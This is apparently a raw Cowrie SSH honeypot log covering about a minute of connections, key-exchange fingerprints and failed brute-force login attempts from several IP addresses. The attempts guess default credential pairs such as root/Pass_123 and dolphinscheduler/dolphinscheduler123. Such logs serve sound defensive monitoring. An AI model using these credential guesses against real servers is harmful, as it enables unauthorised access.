{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:24.465579Z","src_ip":"79.3.96.178","session":"78977f322739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass_123","message":"login attempt [root/Pass_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:25.036678Z","src_ip":"79.3.96.178","session":"78977f322739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:26.175192Z","src_ip":"79.3.96.178","session":"78977f322739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40056,"dst_ip":"159.203.135.109","dst_port":22,"session":"d50815bab3dc","protocol":"ssh","message":"New connection: 83.168.110.85:40056 (159.203.135.109:22) [session: d50815bab3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:27.158981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:27.163693Z","src_ip":"83.168.110.85","session":"d50815bab3dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:27.288806Z","src_ip":"83.168.110.85","session":"d50815bab3dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:27.667526Z","src_ip":"83.168.110.85","session":"d50815bab3dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:28.856320Z","src_ip":"83.168.110.85","session":"d50815bab3dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56740,"dst_ip":"159.203.135.109","dst_port":22,"session":"e30a0fc99ecd","protocol":"ssh","message":"New connection: 83.168.110.85:56740 (159.203.135.109:22) [session: e30a0fc99ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:37.875409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:37.880500Z","src_ip":"83.168.110.85","session":"e30a0fc99ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:38.001120Z","src_ip":"83.168.110.85","session":"e30a0fc99ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:38.361912Z","src_ip":"83.168.110.85","session":"e30a0fc99ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:39.493872Z","src_ip":"83.168.110.85","session":"e30a0fc99ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55420,"dst_ip":"159.203.135.109","dst_port":22,"session":"8568a56ac995","protocol":"ssh","message":"New connection: 83.168.110.85:55420 (159.203.135.109:22) [session: 8568a56ac995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:48.565519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:48.573056Z","src_ip":"83.168.110.85","session":"8568a56ac995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:48.693193Z","src_ip":"83.168.110.85","session":"8568a56ac995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:49.066016Z","src_ip":"83.168.110.85","session":"8568a56ac995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:50.276559Z","src_ip":"83.168.110.85","session":"8568a56ac995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":38122,"dst_ip":"159.203.135.109","dst_port":22,"session":"55742e9d6a38","protocol":"ssh","message":"New connection: 103.118.29.129:38122 (159.203.135.109:22) [session: 55742e9d6a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:57.652821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:57.657951Z","src_ip":"103.118.29.129","session":"55742e9d6a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:57.904260Z","src_ip":"103.118.29.129","session":"55742e9d6a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":41042,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2cc31f47206","protocol":"ssh","message":"New connection: 38.93.206.2:41042 (159.203.135.109:22) [session: f2cc31f47206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:58.127766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:58.132297Z","src_ip":"38.93.206.2","session":"f2cc31f47206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:58.204233Z","src_ip":"38.93.206.2","session":"f2cc31f47206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z123456789","message":"login attempt [root/z123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:58.476872Z","src_ip":"38.93.206.2","session":"f2cc31f47206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angel","message":"login attempt [root/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:58.906626Z","src_ip":"103.118.29.129","session":"55742e9d6a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42436,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdba206291af","protocol":"ssh","message":"New connection: 83.168.110.85:42436 (159.203.135.109:22) [session: bdba206291af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:58.956405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:58.961395Z","src_ip":"83.168.110.85","session":"bdba206291af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:59.082023Z","src_ip":"83.168.110.85","session":"bdba206291af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:59.447274Z","src_ip":"83.168.110.85","session":"bdba206291af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:59.529435Z","src_ip":"38.93.206.2","session":"f2cc31f47206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:00.156515Z","src_ip":"103.118.29.129","session":"55742e9d6a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:00.802636Z","src_ip":"83.168.110.85","session":"bdba206291af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":39020,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0e79d018214","protocol":"ssh","message":"New connection: 103.149.28.157:39020 (159.203.135.109:22) [session: f0e79d018214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:01.095507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:01.100063Z","src_ip":"103.149.28.157","session":"f0e79d018214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:01.356684Z","src_ip":"103.149.28.157","session":"f0e79d018214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kazantip","message":"login attempt [root/kazantip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:02.117367Z","src_ip":"103.149.28.157","session":"f0e79d018214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:03.373353Z","src_ip":"103.149.28.157","session":"f0e79d018214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56572,"dst_ip":"159.203.135.109","dst_port":22,"session":"9893bd6929c4","protocol":"ssh","message":"New connection: 83.168.110.85:56572 (159.203.135.109:22) [session: 9893bd6929c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:09.555840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:09.560723Z","src_ip":"83.168.110.85","session":"9893bd6929c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:18:09.681279Z","src_ip":"83.168.110.85","session":"9893bd6929c4","protocol":"ssh"}
